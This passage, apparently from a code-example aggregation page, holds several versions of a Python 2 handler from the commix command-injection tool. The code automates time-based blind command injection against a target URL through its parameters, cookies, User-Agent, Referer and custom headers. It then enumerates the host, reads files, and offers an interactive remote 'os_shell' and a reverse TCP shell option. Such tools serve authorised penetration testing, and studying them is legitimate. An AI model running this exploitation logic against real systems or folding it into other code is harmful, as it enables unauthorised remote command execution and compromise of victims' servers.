                            print Fore.YELLOW + "(^) Warning: You are already into an 'os_shell' mode." + Style.RESET_ALL + "\n"
                        elif os_shell_option == "reverse_tcp":
                          # Set up LHOST / LPORT for The reverse TCP connection.
                          lhost, lport = reverse_tcp.configure_reverse_tcp()
                          while True:
                            if lhost and lport in settings.SHELL_OPTIONS:
                              result = checks.check_reverse_tcp_options(lhost)
                            else:  
                              cmd = reverse_tcp.reverse_tcp_options(lhost, lport)
                              result = checks.check_reverse_tcp_options(cmd)
                            if result != None:
                              if result == 0:
                                return False
                              elif result == 1 or result == 2:
                                go_back_again = True
                                break
                            # Command execution results.
                            from src.core.injections.results_based.techniques.classic import cb_injector
                            whitespace = settings.WHITESPACES[0]
                            response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
                            # Evaluate injection results.
                            shell = cb_injector.injection_results(response, TAG)
                            # Exploirt injection result
                            if menu.options.verbose:
                              print ""
                            print Back.RED + "(x) Error: The reverse TCP connection has been failed!" + Style.RESET_ALL
                        else:
                          pass
                        
                      else:
                        print ""
                        # The main command injection exploitation.
                        check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)
                        # Exploirt injection result
                        tb_injector.export_injection_results(cmd, separator, output, check_how_long)
                        print ""
                    except KeyboardInterrupt: 
                      raise

                    except SystemExit: 
                      raise
                      
                elif gotshell in settings.CHOISE_NO:
                  if checks.next_attack_vector(technique, go_back) == True:
                    break
                  else:
                    if no_result == True:
                      return False 
                    else:
                      return True  
                      
                elif gotshell in settings.CHOISE_QUIT:
                  sys.exit(0)

                else:
                  if gotshell == "":
                    gotshell = "enter"
                  print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
                  pass
            
            break
          
  if no_result == True:
    print ""
    return False

  else :
    sys.stdout.write("\r")
    sys.stdout.flush()
示例#3
0
def tb_injection_handler(url, delay, filename, http_request_method,
                         url_time_response):

    counter = 1
    num_of_chars = 1
    vp_flag = True
    no_result = True
    is_encoded = False
    is_vulnerable = False
    again_warning = True
    false_positive_warning = False
    export_injection_info = False
    how_long = 0
    how_long_statistic = 0
    injection_type = "Blind Command Injection"
    technique = "time-based injection technique"

    if menu.options.verbose:
        print settings.INFO_SIGN + "Testing the " + technique + "... "

    # Check if defined "--maxlen" option.
    if menu.options.maxlen:
        maxlen = settings.MAXLEN

    # Check if defined "--url-reload" option.
    if menu.options.url_reload == True:
        print Fore.YELLOW + settings.WARNING_SIGN + "The '--url-reload' option is not available in " + technique + "." + Style.RESET_ALL

    # Calculate all possible combinations
    total = (len(settings.PREFIXES) * len(settings.SEPARATORS) *
             len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))

    for prefix in settings.PREFIXES:
        for suffix in settings.SUFFIXES:
            for separator in settings.SEPARATORS:

                # If a previous session is available.
                if settings.LOAD_SESSION and session_handler.notification(
                        url, technique):
                    cmd = shell = ""
                    url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
                        url, http_request_method)
                    settings.FOUND_HOW_LONG = how_long
                    settings.FOUND_DIFF = how_long - delay

                if settings.RETEST == True:
                    settings.RETEST = False
                    from src.core.injections.results_based.techniques.classic import cb_handler
                    cb_handler.exploitation(url, delay, filename,
                                            http_request_method)

                if not settings.LOAD_SESSION:
                    num_of_chars = num_of_chars + 1
                    # Check for bad combination of prefix and separator
                    combination = prefix + separator
                    if combination in settings.JUNK_COMBINATION:
                        prefix = ""

                    # Define alter shell
                    alter_shell = menu.options.alter_shell

                    # Change TAG on every request to prevent false-positive results.
                    TAG = ''.join(
                        random.choice(string.ascii_uppercase)
                        for num_of_chars in range(6))
                    tag_length = len(TAG) + 4

                    for output_length in range(1, int(tag_length)):
                        try:
                            if alter_shell:
                                # Time-based decision payload (check if host is vulnerable).
                                payload = tb_payloads.decision_alter_shell(
                                    separator, TAG, output_length, delay,
                                    http_request_method)
                            else:
                                # Time-based decision payload (check if host is vulnerable).
                                payload = tb_payloads.decision(
                                    separator, TAG, output_length, delay,
                                    http_request_method)

                            # Fix prefixes / suffixes
                            payload = parameters.prefixes(payload, prefix)
                            payload = parameters.suffixes(payload, suffix)

                            if menu.options.base64:
                                payload = base64.b64encode(payload)

                            # Check if defined "--verbose" option.
                            if menu.options.verbose:
                                print Fore.GREY + settings.PAYLOAD_SIGN + payload.replace(
                                    "\n", "\\n") + Style.RESET_ALL

                            # Cookie Injection
                            if settings.COOKIE_INJECTION == True:
                                # Check if target host is vulnerable to cookie injection.
                                vuln_parameter = parameters.specify_cookie_parameter(
                                    menu.options.cookie)
                                how_long = tb_injector.cookie_injection_test(
                                    url, vuln_parameter, payload)

                            # User-Agent Injection
                            elif settings.USER_AGENT_INJECTION == True:
                                # Check if target host is vulnerable to user-agent injection.
                                vuln_parameter = parameters.specify_user_agent_parameter(
                                    menu.options.agent)
                                how_long = tb_injector.user_agent_injection_test(
                                    url, vuln_parameter, payload)

                            # Referer Injection
                            elif settings.REFERER_INJECTION == True:
                                # Check if target host is vulnerable to referer injection.
                                vuln_parameter = parameters.specify_referer_parameter(
                                    menu.options.referer)
                                how_long = tb_injector.referer_injection_test(
                                    url, vuln_parameter, payload)

                            # Custom HTTP header Injection
                            elif settings.CUSTOM_HEADER_INJECTION == True:
                                # Check if target host is vulnerable to custom http header injection.
                                vuln_parameter = parameters.specify_custom_header_parameter(
                                    settings.INJECT_TAG)
                                how_long = tb_injector.custom_header_injection_test(
                                    url, vuln_parameter, payload)

                            else:
                                # Check if target host is vulnerable.
                                how_long, vuln_parameter = tb_injector.injection_test(
                                    payload, http_request_method, url)

                            # Statistical analysis in time responses.
                            how_long_statistic = how_long_statistic + how_long

                            # Reset the how_long_statistic counter
                            if output_length == tag_length - 1:
                                how_long_statistic = 0

                            # Injection percentage calculation
                            percent = ((num_of_chars * 100) / total)
                            float_percent = "{0:.1f}".format(
                                round(((num_of_chars * 100) / (total * 1.0)),
                                      2))

                            if percent == 100 and no_result == True:
                                if not menu.options.verbose:
                                    percent = Fore.RED + "FAILED" + Style.RESET_ALL
                                else:
                                    percent = ""
                            else:
                                if (url_time_response == 0 and (how_long - delay) >= 0) or \
                                   (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
                                   (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :

                                    # Time relative false positive fixation.
                                    false_positive_fixation = False
                                    if len(TAG) == output_length:
                                        # Windows targets.
                                        if settings.TARGET_OS == "win":
                                            if how_long > (how_long_statistic /
                                                           output_length):
                                                false_positive_fixation = True
                                            else:
                                                false_positive_warning = True
                                        # Unix-like targets.
                                        else:
                                            if delay == 1 and (how_long_statistic == delay) or \
                                              delay == 1 and (how_long_statistic == how_long) or \
                                              delay > 1 and (how_long_statistic == (output_length + delay)) and \
                                              how_long == delay + 1:
                                                false_positive_fixation = True
                                            else:
                                                false_positive_warning = True

                                    # Identified false positive warning message.
                                    if false_positive_warning and again_warning:
                                        again_warning = False
                                        warning_msg = settings.WARNING_SIGN + "Unexpected time delays have been identified due to unstable "
                                        warning_msg += "requests. This behavior which may lead to false-positive results."
                                        sys.stdout.write("\r" + Fore.YELLOW +
                                                         warning_msg +
                                                         Style.RESET_ALL)
                                        print ""

                                    # Check if false positive fixation is True.
                                    if false_positive_fixation:
                                        false_positive_fixation = False
                                        settings.FOUND_HOW_LONG = how_long
                                        settings.FOUND_DIFF = how_long - delay
                                        randv1 = random.randrange(0, 1)
                                        randv2 = random.randrange(1, 2)
                                        randvcalc = randv1 + randv2

                                        if settings.TARGET_OS == "win":
                                            if alter_shell:
                                                cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str(
                                                    randv1) + " + " + str(
                                                        randv2) + ")\""
                                            else:
                                                cmd = "powershell.exe -InputFormat none write (" + str(
                                                    randv1) + " + " + str(
                                                        randv2) + ")"
                                        else:
                                            cmd = "(" + str(
                                                randv1) + " + " + str(
                                                    randv2) + ")"

                                        # Check for false positive resutls
                                        how_long, output = tb_injector.false_positive_check(
                                            separator, TAG, cmd, prefix,
                                            suffix, delay, http_request_method,
                                            url, vuln_parameter, randvcalc,
                                            alter_shell, how_long,
                                            url_time_response)

                                        if (url_time_response == 0 and (how_long - delay) >= 0) or \
                                           (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
                                           (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :

                                            if str(output) == str(
                                                    randvcalc) and len(
                                                        TAG) == output_length:
                                                is_vulnerable = True
                                                how_long_statistic = 0
                                                if not menu.options.verbose:
                                                    percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                                                else:
                                                    percent = ""
                                        else:
                                            break
                                    # False positive
                                    else:
                                        if not menu.options.verbose:
                                            percent = str(float_percent) + "%"
                                            sys.stdout.write(
                                                "\r" + settings.INFO_SIGN +
                                                "Testing the " + technique +
                                                "... " + "[ " + percent + " ]")
                                            sys.stdout.flush()
                                        continue
                                else:
                                    if not menu.options.verbose:
                                        percent = str(float_percent) + "%"
                                        sys.stdout.write("\r" +
                                                         settings.INFO_SIGN +
                                                         "Testing the " +
                                                         technique + "... " +
                                                         "[ " + percent + " ]")
                                        sys.stdout.flush()
                                    continue
                            if not menu.options.verbose:
                                sys.stdout.write("\r" + settings.INFO_SIGN +
                                                 "Testing the " + technique +
                                                 "... " + "[ " + percent +
                                                 " ]")
                                sys.stdout.flush()

                        except KeyboardInterrupt:
                            raise

                        except SystemExit:
                            raise

                        except:
                            break
                        break

                # Yaw, got shellz!
                # Do some magic tricks!
                if (url_time_response == 0 and (how_long - delay) >= 0) or \
                   (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
                   (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :

                    if (len(TAG) == output_length) and \
                       (is_vulnerable == True or settings.LOAD_SESSION and is_vulnerable == "True"):

                        found = True
                        no_result = False

                        if settings.LOAD_SESSION:
                            is_vulnerable = False

                        if settings.COOKIE_INJECTION == True:
                            header_name = " Cookie"
                            found_vuln_parameter = vuln_parameter
                            the_type = " HTTP header"

                        elif settings.USER_AGENT_INJECTION == True:
                            header_name = " User-Agent"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.REFERER_INJECTION == True:
                            header_name = " Referer"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.CUSTOM_HEADER_INJECTION == True:
                            header_name = " " + settings.CUSTOM_HEADER_NAME
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        else:
                            header_name = ""
                            the_type = " parameter"
                            if http_request_method == "GET":
                                found_vuln_parameter = parameters.vuln_GET_param(
                                    url)
                            else:
                                found_vuln_parameter = vuln_parameter

                        if len(found_vuln_parameter) != 0:
                            found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"

                        # Print the findings to log file.
                        if export_injection_info == False:
                            export_injection_info = logs.add_type_and_technique(
                                export_injection_info, filename,
                                injection_type, technique)
                        if vp_flag == True:
                            vp_flag = logs.add_parameter(
                                vp_flag, filename, http_request_method,
                                vuln_parameter, payload)
                        logs.update_payload(filename, counter, payload)
                        counter = counter + 1

                        if not settings.LOAD_SESSION:
                            print ""

                        # Print the findings to terminal.
                        print Style.BRIGHT + "(!) The (" + http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to " + injection_type + "." + Style.RESET_ALL
                        print "  (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
                        print "  (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title(
                        ) + Style.RESET_ALL + ""
                        print "  (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub(
                            "%20", " ", payload.replace(
                                "\n", "\\n")) + Style.RESET_ALL

                        if not settings.LOAD_SESSION:
                            shell = ""
                            session_handler.injection_point_importation(
                                url, technique, injection_type, separator,
                                shell, vuln_parameter, prefix, suffix, TAG,
                                alter_shell, payload, http_request_method,
                                url_time_response, delay, how_long,
                                output_length, is_vulnerable)
                            is_vulnerable = False
                        else:
                            settings.LOAD_SESSION = False

                        new_line = False
                        # Check for any enumeration options.
                        if settings.ENUMERATION_DONE == True:
                            while True:
                                enumerate_again = raw_input(
                                    "\n" + settings.QUESTION_SIGN +
                                    "Do you want to enumerate again? [Y/n/q] > "
                                ).lower()
                                if enumerate_again in settings.CHOICE_YES:
                                    tb_enumeration.do_check(
                                        separator, maxlen, TAG, cmd, prefix,
                                        suffix, delay, http_request_method,
                                        url, vuln_parameter, alter_shell,
                                        filename, url_time_response)
                                    print ""
                                    break
                                elif enumerate_again in settings.CHOICE_NO:
                                    new_line = True
                                    break
                                elif enumerate_again in settings.CHOICE_QUIT:
                                    sys.exit(0)
                                else:
                                    if enumerate_again == "":
                                        enumerate_again = "enter"
                                    print Back.RED + settings.ERROR_SIGN + "'" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL + "\n"
                                    pass
                        else:
                            if menu.enumeration_options():
                                tb_enumeration.do_check(
                                    separator, maxlen, TAG, cmd, prefix,
                                    suffix, delay, http_request_method, url,
                                    vuln_parameter, alter_shell, filename,
                                    url_time_response)
                                print ""

                        # Check for any system file access options.
                        if settings.FILE_ACCESS_DONE == True:
                            while True:
                                file_access_again = raw_input(
                                    settings.QUESTION_SIGN +
                                    "Do you want to access files again? [Y/n/q] > "
                                ).lower()
                                if file_access_again in settings.CHOICE_YES:
                                    tb_file_access.do_check(
                                        separator, maxlen, TAG, cmd, prefix,
                                        suffix, delay, http_request_method,
                                        url, vuln_parameter, alter_shell,
                                        filename, url_time_response)
                                    break
                                elif file_access_again in settings.CHOICE_NO:
                                    if not new_line:
                                        new_line = True
                                    break
                                elif file_access_again in settings.CHOICE_QUIT:
                                    sys.exit(0)
                                else:
                                    if file_access_again == "":
                                        file_access_again = "enter"
                                    print Back.RED + settings.ERROR_SIGN + "'" + file_access_again + "' is not a valid answer." + Style.RESET_ALL + "\n"
                                    pass
                        else:
                            # if not menu.enumeration_options() and not menu.options.os_cmd:
                            #   print ""
                            tb_file_access.do_check(separator, maxlen, TAG,
                                                    cmd, prefix, suffix, delay,
                                                    http_request_method, url,
                                                    vuln_parameter,
                                                    alter_shell, filename,
                                                    url_time_response)

                        # Check if defined single cmd.
                        if menu.options.os_cmd:
                            cmd = menu.options.os_cmd
                            check_how_long, output = tb_enumeration.single_os_cmd_exec(
                                separator, maxlen, TAG, cmd, prefix, suffix,
                                delay, http_request_method, url,
                                vuln_parameter, alter_shell, filename,
                                url_time_response)
                            # Export injection result
                            tb_injector.export_injection_results(
                                cmd, separator, output, check_how_long)
                            sys.exit(0)

                        if not new_line:
                            print ""

                        # Pseudo-Terminal shell
                        go_back = False
                        go_back_again = False
                        while True:
                            if go_back == True:
                                break
                            gotshell = raw_input(
                                settings.QUESTION_SIGN +
                                "Do you want a Pseudo-Terminal? [Y/n/q] > "
                            ).lower()
                            if gotshell in settings.CHOICE_YES:
                                print ""
                                print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                                if readline_error:
                                    checks.no_readline_module()
                                while True:
                                    try:
                                        # Tab compliter
                                        if not readline_error:
                                            readline.set_completer(
                                                menu.tab_completer)
                                            # MacOSX tab compliter
                                            if getattr(
                                                    readline, '__doc__', ''
                                            ) is not None and 'libedit' in getattr(
                                                    readline, '__doc__', ''):
                                                readline.parse_and_bind(
                                                    "bind ^I rl_complete")
                                            # Unix tab compliter
                                            else:
                                                readline.parse_and_bind(
                                                    "tab: complete")
                                        cmd = raw_input("""commix(""" +
                                                        Style.BRIGHT +
                                                        Fore.RED +
                                                        """os_shell""" +
                                                        Style.RESET_ALL +
                                                        """) > """)
                                        cmd = checks.escaped_cmd(cmd)
                                        if cmd.lower(
                                        ) in settings.SHELL_OPTIONS:
                                            os_shell_option = checks.check_os_shell_options(
                                                cmd.lower(), technique,
                                                go_back, no_result)
                                            if os_shell_option == False:
                                                if no_result == True:
                                                    return False
                                                else:
                                                    return True
                                            elif os_shell_option == "quit":
                                                sys.exit(0)
                                            elif os_shell_option == "back":
                                                go_back = True
                                                break
                                            elif os_shell_option == "os_shell":
                                                print Fore.YELLOW + settings.WARNING_SIGN + "You are already into an 'os_shell' mode." + Style.RESET_ALL + "\n"
                                            elif os_shell_option == "reverse_tcp":
                                                settings.REVERSE_TCP = True
                                                # Set up LHOST / LPORT for The reverse TCP connection.
                                                reverse_tcp.configure_reverse_tcp(
                                                )
                                                if settings.REVERSE_TCP == False:
                                                    continue
                                                while True:
                                                    if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
                                                        result = checks.check_reverse_tcp_options(
                                                            settings.LHOST)
                                                    else:
                                                        cmd = reverse_tcp.reverse_tcp_options(
                                                        )
                                                        result = checks.check_reverse_tcp_options(
                                                            cmd)
                                                    if result != None:
                                                        if result == 0:
                                                            return False
                                                        elif result == 1 or result == 2:
                                                            go_back_again = True
                                                            settings.REVERSE_TCP = False
                                                            break
                                                    # Command execution results.
                                                    from src.core.injections.results_based.techniques.classic import cb_injector
                                                    separator = checks.time_based_separators(
                                                        separator,
                                                        http_request_method)
                                                    whitespace = settings.WHITESPACES[
                                                        0]
                                                    response = cb_injector.injection(
                                                        separator, TAG, cmd,
                                                        prefix, suffix,
                                                        whitespace,
                                                        http_request_method,
                                                        url, vuln_parameter,
                                                        alter_shell, filename)
                                                    # Evaluate injection results.
                                                    shell = cb_injector.injection_results(
                                                        response, TAG)
                                                    # Export injection result
                                                    if menu.options.verbose:
                                                        print ""
                                                    print Back.RED + settings.ERROR_SIGN + "The reverse TCP connection has been failed!" + Style.RESET_ALL
                                            else:
                                                pass

                                        else:
                                            print ""
                                            if menu.options.ignore_session or \
                                               session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                                                # The main command injection exploitation.
                                                check_how_long, output = tb_injector.injection(
                                                    separator, maxlen, TAG,
                                                    cmd, prefix, suffix, delay,
                                                    http_request_method, url,
                                                    vuln_parameter,
                                                    alter_shell, filename,
                                                    url_time_response)
                                                # Export injection result
                                                tb_injector.export_injection_results(
                                                    cmd, separator, output,
                                                    check_how_long)
                                                if not menu.options.ignore_session:
                                                    session_handler.store_cmd(
                                                        url, cmd, output,
                                                        vuln_parameter)
                                            else:
                                                output = session_handler.export_stored_cmd(
                                                    url, cmd, vuln_parameter)
                                                print Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL

                                            print ""
                                    except KeyboardInterrupt:
                                        raise

                                    except SystemExit:
                                        raise

                            elif gotshell in settings.CHOICE_NO:
                                if checks.next_attack_vector(
                                        technique, go_back) == True:
                                    break
                                else:
                                    if no_result == True:
                                        return False
                                    else:
                                        return True

                            elif gotshell in settings.CHOICE_QUIT:
                                sys.exit(0)

                            else:
                                if gotshell == "":
                                    gotshell = "enter"
                                print Back.RED + settings.ERROR_SIGN + "'" + gotshell + "' is not a valid answer." + Style.RESET_ALL + "\n"
                                pass
                            #break

    if no_result == True:
        print ""
        return False

    else:
        sys.stdout.write("\r")
        sys.stdout.flush()
示例#4
0
def tb_injection_handler(url, delay, filename, http_request_method, url_time_response):
 
  counter = 1
  num_of_chars = 1
  vp_flag = True
  no_result = True
  is_encoded = False
  is_vulnerable = False
  again_warning = True
  false_positive_warning = False
  export_injection_info = False
  how_long = 0
  how_long_statistic = 0
  injection_type = "Blind Command Injection"
  technique = "time-based injection technique"

  if menu.options.verbose:
    print settings.INFO_SIGN + "Testing the " + technique + "... "

  # Check if defined "--maxlen" option.
  if menu.options.maxlen:
    maxlen = settings.MAXLEN
    
  # Check if defined "--url-reload" option.
  if menu.options.url_reload == True:
    print Fore.YELLOW + settings.WARNING_SIGN + "The '--url-reload' option is not available in " + technique + "." + Style.RESET_ALL
  
  # Calculate all possible combinations
  total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))

  for prefix in settings.PREFIXES:
    for suffix in settings.SUFFIXES:
      for separator in settings.SEPARATORS:

        # If a previous session is available.
        if settings.LOAD_SESSION and session_handler.notification(url, technique):
          cmd = shell = ""
          url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
          settings.FOUND_HOW_LONG = how_long
          settings.FOUND_DIFF = how_long - delay

        if settings.RETEST == True:
          settings.RETEST = False
          from src.core.injections.results_based.techniques.classic import cb_handler
          cb_handler.exploitation(url, delay, filename, http_request_method)

        if not settings.LOAD_SESSION:
          num_of_chars = num_of_chars + 1
          # Check for bad combination of prefix and separator
          combination = prefix + separator
          if combination in settings.JUNK_COMBINATION:
            prefix = ""
          
          # Define alter shell
          alter_shell = menu.options.alter_shell
          
          # Change TAG on every request to prevent false-positive results.
          TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
          tag_length = len(TAG) + 4
          
          for output_length in range(1, int(tag_length)):
            try:
              if alter_shell:
                # Time-based decision payload (check if host is vulnerable).
                payload = tb_payloads.decision_alter_shell(separator, TAG, output_length, delay, http_request_method)
              else:
                # Time-based decision payload (check if host is vulnerable).
                payload = tb_payloads.decision(separator, TAG, output_length, delay, http_request_method)

              # Fix prefixes / suffixes
              payload = parameters.prefixes(payload, prefix)
              payload = parameters.suffixes(payload, suffix)

              if menu.options.base64:
                payload = base64.b64encode(payload)

              # Check if defined "--verbose" option.
              if menu.options.verbose:
                print Fore.GREY + settings.PAYLOAD_SIGN + payload.replace("\n", "\\n") + Style.RESET_ALL

              # Cookie Injection
              if settings.COOKIE_INJECTION == True:
                # Check if target host is vulnerable to cookie injection.
                vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
                how_long = tb_injector.cookie_injection_test(url, vuln_parameter, payload)

              # User-Agent Injection
              elif settings.USER_AGENT_INJECTION == True:
                # Check if target host is vulnerable to user-agent injection.
                vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
                how_long = tb_injector.user_agent_injection_test(url, vuln_parameter, payload)

              # Referer Injection
              elif settings.REFERER_INJECTION == True:
                # Check if target host is vulnerable to referer injection.
                vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
                how_long = tb_injector.referer_injection_test(url, vuln_parameter, payload)

              # Custom HTTP header Injection
              elif settings.CUSTOM_HEADER_INJECTION == True:
                # Check if target host is vulnerable to custom http header injection.
                vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
                how_long = tb_injector.custom_header_injection_test(url, vuln_parameter, payload)

              else:
                # Check if target host is vulnerable.
                how_long, vuln_parameter = tb_injector.injection_test(payload, http_request_method, url)

              # Statistical analysis in time responses.
              how_long_statistic = how_long_statistic + how_long

              # Reset the how_long_statistic counter
              if output_length == tag_length - 1:
                how_long_statistic = 0

              # Injection percentage calculation
              percent = ((num_of_chars * 100) / total)
              float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total * 1.0)),2))

              if percent == 100 and no_result == True:
                if not menu.options.verbose:
                  percent = Fore.RED + "FAILED" + Style.RESET_ALL
                else:
                  percent = ""
              else:
                if (url_time_response == 0 and (how_long - delay) >= 0) or \
                   (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
                   (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :

                  # Time relative false positive fixation.
                  false_positive_fixation = False
                  if len(TAG) == output_length:
                    # Windows targets.
                    if settings.TARGET_OS == "win":
                      if how_long > (how_long_statistic / output_length):
                          false_positive_fixation = True
                      else:
                          false_positive_warning = True
                    # Unix-like targets.
                    else:
                      if delay == 1 and (how_long_statistic == delay) or \
                        delay == 1 and (how_long_statistic == how_long) or \
                        delay > 1 and (how_long_statistic == (output_length + delay)) and \
                        how_long == delay + 1:
                          false_positive_fixation = True
                      else:
                          false_positive_warning = True

                  # Identified false positive warning message.
                  if false_positive_warning and again_warning:
                    again_warning = False
                    warning_msg = settings.WARNING_SIGN + "Unexpected time delays have been identified due to unstable "
                    warning_msg += "requests. This behavior which may lead to false-positive results."
                    sys.stdout.write("\r" + Fore.YELLOW + warning_msg + Style.RESET_ALL)
                    print ""

                  # Check if false positive fixation is True.
                  if false_positive_fixation:
                    false_positive_fixation = False
                    settings.FOUND_HOW_LONG = how_long
                    settings.FOUND_DIFF = how_long - delay
                    randv1 = random.randrange(0, 1)
                    randv2 = random.randrange(1, 2)
                    randvcalc = randv1 + randv2

                    if settings.TARGET_OS == "win":
                      if alter_shell:
                        cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str(randv1) + " + " + str(randv2) + ")\""
                      else:
                        cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")"
                    else:
                      cmd = "(" + str(randv1) + " + " + str(randv2) + ")"

                    # Check for false positive resutls
                    how_long, output = tb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response)

                    if (url_time_response == 0 and (how_long - delay) >= 0) or \
                       (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
                       (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
                      
                      if str(output) == str(randvcalc) and len(TAG) == output_length:
                        is_vulnerable = True
                        how_long_statistic = 0
                        if not menu.options.verbose:
                          percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                        else:
                          percent = ""
                    else:
                      break
                  # False positive
                  else:
                    if not menu.options.verbose:
                      percent = str(float_percent)+ "%"
                      sys.stdout.write("\r" + settings.INFO_SIGN + "Testing the " + technique + "... " +  "[ " + percent + " ]")
                      sys.stdout.flush()
                    continue    
                else:
                  if not menu.options.verbose:
                    percent = str(float_percent)+ "%"
                    sys.stdout.write("\r" + settings.INFO_SIGN + "Testing the " + technique + "... " +  "[ " + percent + " ]")
                    sys.stdout.flush()
                  continue
              if not menu.options.verbose:
                sys.stdout.write("\r" + settings.INFO_SIGN + "Testing the " + technique + "... " +  "[ " + percent + " ]")
                sys.stdout.flush()

            except KeyboardInterrupt: 
              raise

            except SystemExit:
              raise

            except:
              break
            break
            
        # Yaw, got shellz! 
        # Do some magic tricks!
        if (url_time_response == 0 and (how_long - delay) >= 0) or \
           (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
           (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :  

          if (len(TAG) == output_length) and \
             (is_vulnerable == True or settings.LOAD_SESSION and is_vulnerable == "True"):

            found = True
            no_result = False

            if settings.LOAD_SESSION:
              is_vulnerable = False

            if settings.COOKIE_INJECTION == True: 
              header_name = " Cookie"
              found_vuln_parameter = vuln_parameter
              the_type = " HTTP header"

            elif settings.USER_AGENT_INJECTION == True: 
              header_name = " User-Agent"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.REFERER_INJECTION == True: 
              header_name = " Referer"
              found_vuln_parameter = ""
              the_type = " HTTP header"
              
            elif settings.CUSTOM_HEADER_INJECTION == True: 
              header_name = " " + settings.CUSTOM_HEADER_NAME
              found_vuln_parameter = ""
              the_type = " HTTP header"

            else:
              header_name = ""
              the_type = " parameter"
              if http_request_method == "GET":
                found_vuln_parameter = parameters.vuln_GET_param(url)
              else :
                found_vuln_parameter = vuln_parameter

            if len(found_vuln_parameter) != 0 :
              found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL  + Style.BRIGHT + "'" 
            
            # Print the findings to log file.
            if export_injection_info == False:
              export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
            if vp_flag == True:
              vp_flag = logs.add_parameter(vp_flag, filename, http_request_method, vuln_parameter, payload)
            logs.update_payload(filename, counter, payload) 
            counter = counter + 1

            if not settings.LOAD_SESSION:
              print ""

            # Print the findings to terminal.
            print Style.BRIGHT + "(!) The (" + http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to " + injection_type + "." + Style.RESET_ALL
            print "  (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
            print "  (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
            print "  (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL

            if not settings.LOAD_SESSION:
              shell = ""
              session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable)
              is_vulnerable = False
            else:
              settings.LOAD_SESSION = False 
            
            new_line = False   
            # Check for any enumeration options.
            if settings.ENUMERATION_DONE == True:
              while True:
                enumerate_again = raw_input("\n" + settings.QUESTION_SIGN + "Do you want to enumerate again? [Y/n/q] > ").lower()
                if enumerate_again in settings.CHOICE_YES:
                  tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
                  print  ""
                  break
                elif enumerate_again in settings.CHOICE_NO: 
                  new_line = True
                  break
                elif enumerate_again in settings.CHOICE_QUIT:
                  sys.exit(0)
                else:
                  if enumerate_again == "":
                    enumerate_again = "enter"
                  print Back.RED + settings.ERROR_SIGN + "'" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL + "\n"
                  pass
            else:
              if menu.enumeration_options():
